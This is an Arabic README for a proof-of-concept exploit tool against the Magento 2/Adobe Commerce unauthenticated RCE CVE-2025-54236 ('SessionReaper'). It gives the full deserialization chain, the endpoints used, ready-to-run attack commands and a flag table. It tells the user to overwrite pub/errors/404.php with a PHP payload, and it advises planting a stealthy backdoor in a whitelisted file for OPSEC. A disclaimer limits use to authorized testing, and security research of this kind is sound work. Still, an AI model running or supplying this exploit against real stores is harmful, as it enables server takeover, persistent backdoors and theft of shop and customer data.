
إثبات المفهوم Magento Session Reaper - CVE-2025-54236
إثبات مفهوم موحد لـ CVE-2025-54236 ("SessionReaper")، وهو ثغرة تنفيذ أوامر عن بعد (RCE) حرجة وغير مصادق عليها في Magento 2 / Adobe Commerce عبر إلغاء التسلسل المتداخل في واجهة REST API.
ServiceInputProcessor؛ البدائية الاستغلالية هي إلغاء تسلسل غير آمن (CWE-502)لأغراض اختبار الأمان المصرح به فقط. استخدم حصريًا ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
الأداة تسلسل ثلاث مراحل مشتركة لكل متجه، بالإضافة إلى مشغل:
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php> كائنًا متسلسلاً يكتب payload.php إلى <remote_path> عند إلغاء تسلسله.POST /customer/address_file/upload بتخزين الكتلة المتسلسلة باسم sess_<SESSID>. يقوم Magento بتوزيع ملفات العناوين المرفوعة حسب الأحرف الأولى من اسم الملف، لذلك تصل إلى media/customer_address/s/e/sess_<SESSID> (وبالتالي s/e/ في --save-path).Session\Config، وعبر setSavePath() → setOption() → ini_set('session.save_path', ...) (تأثير جانبي عالمي للعملية)، توجه معالج جلسة PHP نحو الكتلة المرفوعة.Cookie: PHPSESSID=<SESSID> يُجبر session_start() على قراءة وإلغاء تسلسل (unserialize) الملف المسموم، مما يشغل الأداة ويكتب الحمولة.جميع المتجهات الثلاثة تصل إلى نفس المصب (sink) (context → urlBuilder → session → sessionConfig → savePath). تختلف فقط في نقطة النهاية (endpoint)، وفعل HTTP، ووحدة Magento المعنية — مفيد عندما يحظر جدار حماية تطبيقات الويب (WAF) أو وحدة معطلة نقطة نهاية دون أخرى.
لا حاجة لسلة تسوق حقيقية لأي متجه. يقوم ServiceInputProcessor بإلغاء تسلسل معاملات الطريقة أثناء حل المدخلات (input resolution) — قبل أن يستدعي الخدمة أي بحث عن سلة التسوق — لذا فإن cartId وهمي مثل abc يصل إلى المصب في الثلاثة. الخطأ اللاحق "لم يتم العثور على سلة التسوق" (404/500) متوقع ويؤكد أن التأثير الجانبي لإلغاء التسلسل قد حدث بالفعل.
علامة
--skuمتاحة إذا كنت تريد من الأداة إنشاء سلة تسوق ضيف حقيقية وإضافة منتج قبل التشغيل (تم التحقق منها عبر GraphQL). هذا اختياري وليس ضروريًا للاستغلال — إنها موجودة فقط للبيئات التي تفضل فيها تدفق دفع واقعي تمامًا. احذفها وتستخدم الأداة سلة التسوق الوهميةabc.
var/session/). الجلسات المدعومة بـ Redis وقاعدة البيانات لا تتأثر بهذه السلسلة المحددة من RCE. هذا غير قابل للتعداد عن بعد، لذا يجب محاولة استغلالها بشكل أعمى./customer/address_file/upload يمكن الوصول إليه بدون مصادقة.requestsphpggc — يتم اكتشافه تلقائيًا في PATH، أو في مواقع التثبيت الشائعة، أو يسحب كصورة Docker ambionics/phpggc كخيار احتياطيpayload.php في نفس دليل السكريبت (يجب أن يبدأ بـ <?php)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # or: docker pull ambionics/phpggc
# order (original vector) — no cart, no credentials
python3 session_reaper.py --host https://target.com --method order
# checkmo — payments endpoint, Spanish store scope for the REST API
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — shipping endpoint
python3 session_reaper.py --host https://target.com --method address --api-store all
# optional: exercise a real cart flow with a known SKU (not required)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
تستخدم الأداة رمزي متجر مستقلين:
--api-store — النطاق في عنوان URL لطلب إلغاء التسلسل (/rest/<api-store>/V1/guest-carts/...)، حيث يعمل ServiceInputProcessor.--store — النطاق لطلب المشغل (GET /<store>/) وإذا تم استخدام --sku، لطلبات سلة التسوق.رموز عرض المتجر محددة من قبل المسؤول؛ لا تفترض es/fr. قم بتعداد عروض المتجر النشطة أولاً — الطلب ضد نطاق غير موجود سيفشل ببساطة.
pub/errors/404.phpتكوين Nginx الافتراضي لـ Magento يمرر فقط سبعة ملفات PHP إلى fastcgi_backend:
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
أي ملف .php آخر (بما في ذلك أي شيء يتم وضعه في pub/media/) ممنوع ولن يتم تنفيذه أبدًا. لذا يجب على الحمولة استبدال أحد هذه الملفات السبعة المُدرجة في القائمة البيضاء بدلاً من وضع ملف جديد. pub/errors/404.php هو الافتراضي لأن Magento يقدمه داخليًا لأي صفحة مفقودة، لذلك يتم تشغيله غالبًا على متجر حي.
OPSEC: استبدال
404.phpبشكل مباشر هو أمر صاخب (يعمل على كل خطأ 404). في اختبار حقيقي، قم بحقن باب خلفي في ملف مدرج في القائمة البيضاء بشكل خفي بدلاً من سحقه.
--username/--password مطلوبان فقط إذا كنت تريد رمز Bearer لإعداد معين./tmp/sess_<SESSID> عند الخروج.مقدم لأغراض البحث والاختبار الأمني المصرح به فقط. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام. لا تقم بتشغيله ضد أنظمة بدون إذن صريح.
| Method | Endpoint | Verb | Entry point into the chain |
|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
| العلامة | الافتراضي | الوصف |
|---|
--host | (مطلوب) | عنوان URL الأساسي للهدف |
--method | (مطلوب) | address | checkmo | order |
--store | default | رمز المتجر لطلب المشغل (وسلة التسوق، إذا تم استخدام --sku) |
--api-store | default | رمز المتجر في عنوان URL لنقطة نهاية إلغاء التسلسل (all | es | default | custom) |
--sku | (لا شيء) | اختياري. إذا تم تعيينه، يقوم بإنشاء سلة تسوق ضيف حقيقية باستخدام SKU هذا. غير مطلوب. |
--payload-in | payload.php | حمولة PHP لكتابتها على الهدف |
--payload-out | /var/www/html/pub/errors/404.php | مسار الكتابة البعيد (يجب أن يكون موقعًا قابلًا للتنفيذ عبر الويب — انظر الملاحظة أدناه) |
--save-path | media/customer_address/s/e/ | savePath المحقون في سلسلة الأداة |
--phpggc | (تلقائي) | المسار الصريح إلى ثنائي phpggc |
--proxy | http://127.0.0.1:8081 | وكيل HTTP (مثل Burp) |
--no-proxy | off | تعطيل الوكيل |
--username / --password | (لا شيء) | بيانات اعتماد العميل الاختيارية للحصول على رمز Bearer |